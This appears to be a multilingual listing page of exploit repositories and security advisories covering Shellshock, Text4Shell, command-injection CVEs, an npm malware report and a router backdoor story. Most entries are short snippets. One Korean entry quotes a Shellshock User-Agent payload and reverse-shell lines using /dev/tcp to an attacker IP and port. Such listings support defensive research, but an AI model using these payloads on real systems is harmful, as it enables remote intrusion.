CVE-2022-42889

CVE-2022-42889 Python-скрипт для CVE-2022-42889 Чтобы протестировать это локально, следуйте Docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker Для PHP-версии: https://github.com/ClickCyber/cve-2022-42889 Если вы запускаете это и эксплуатируете локально, IP-адрес, который...

ShellShockHunter

ShellShockHunter v1.0 Это простой инструмент для проверки уязвимости ShellShock Autor: MrCl0wn Blog: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab Email: mrcl0wnlab@\gmail.com Shellshock программная ошибка Shellshock, также известный как...

CVE-2019-10149-quick

CVE-2019-10149-quick Simple correctif rapide pour le shell Bash CVE-2019-10149...

CVE-2014-6271

CVE-2014-6271 Shellshock - Exploit Python Une implémentation Python propre, efficace et interactive conçue pour tester la vulnérabilité Shellshock CVE-2014-6271 via l'injection de variables d'environnement HTTP. 📝 Description Shellshock CVE-2014-6271 est une vulnérabilité de sécurité critique dan...

CVE-2025-32433-Remote-Shell

Shell distant CVE-2025-32433 Exploit en Go pour CVE-2025-32433 retournant un shell bash distant. Fortement inspiré de la compréhension de l'exploit dérivé du PoC de ProDefense pour CVE-2025-32433. Exécution de l'exploit make exploit.exe est également disponible pour les machines Windows grâce au...

Shell-Shock

Shell Shock 작성자 : [email protected] 유지관리자 : 부서 : DevOps 라이선스 : 개요 Shell Shock : 권한 상승, 원격 코드 실행 Unix Bash 셸의 버그 계열입니다. 임의의 명령 실행을 허용합니다. 공격 벡터 페이로드 shellshock 사용자 에이전트 = User-Agent: :; ; rshell 페이로드 = bash -i & /dev/tcp/127.0.0.1 rshell 리스너로의 리다이렉트 = bash -i & /dev/tcp/$YOURIP:$PORT 트릭 설계 : ...

CVE-2014-6271

Shellshock Vulnerability Checker Ce script vérifie si un site web est vulnérable à la vulnérabilité Shellshock CVE-2014-6271. Résumé : La vulnérabilité Shellshock, également connue sous le nom de Bashdoor, est une faille de sécurité découverte en septembre 2014 dans le shell Bash d'Unix. La...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271 est une vulnérabilité grave connue sous le nom de « Shellshock », découverte et rendue publique en 2014. Cette vulnérabilité a été trouvée dans le shell Bash et affecte presque tous les systèmes Unix et Linux, ce qui en fait l'une des vulnérabilités les plus largement...

Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells

Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...

Malicious code in log-taker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30b4bde2f8e6fa87d896e86967b814a70ae3e46f1b1d58ed4552d1d909fbfcfe index.js imports childprocess and invokes execSync with bash and zsh shell strings around lines 315 and 331. The pattern of spawning interactive shel...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c...

CVE-2026-0596 Command Injection in mlflow/mlflow

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $ or backticks, it allows for...

CVE-2026-32094 Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescapeescape does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like...

interpreter.htb-SSTI-exploit

Exploitation py...

Brocade Fabric OS < 9.2.1c2 / 9.2.2 < 9.2.2b / 10.0.0 Information Disclosure (CVE-2026-0383)

The version of Brocade FabricOS installed on the remote host is prior to 9.2.1c2, or 9.2.2 prior to 9.2.2b, or 10.0.0 prior to 10.0.0a. It is, therefore, affected by an information disclosure vulnerability: - A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with...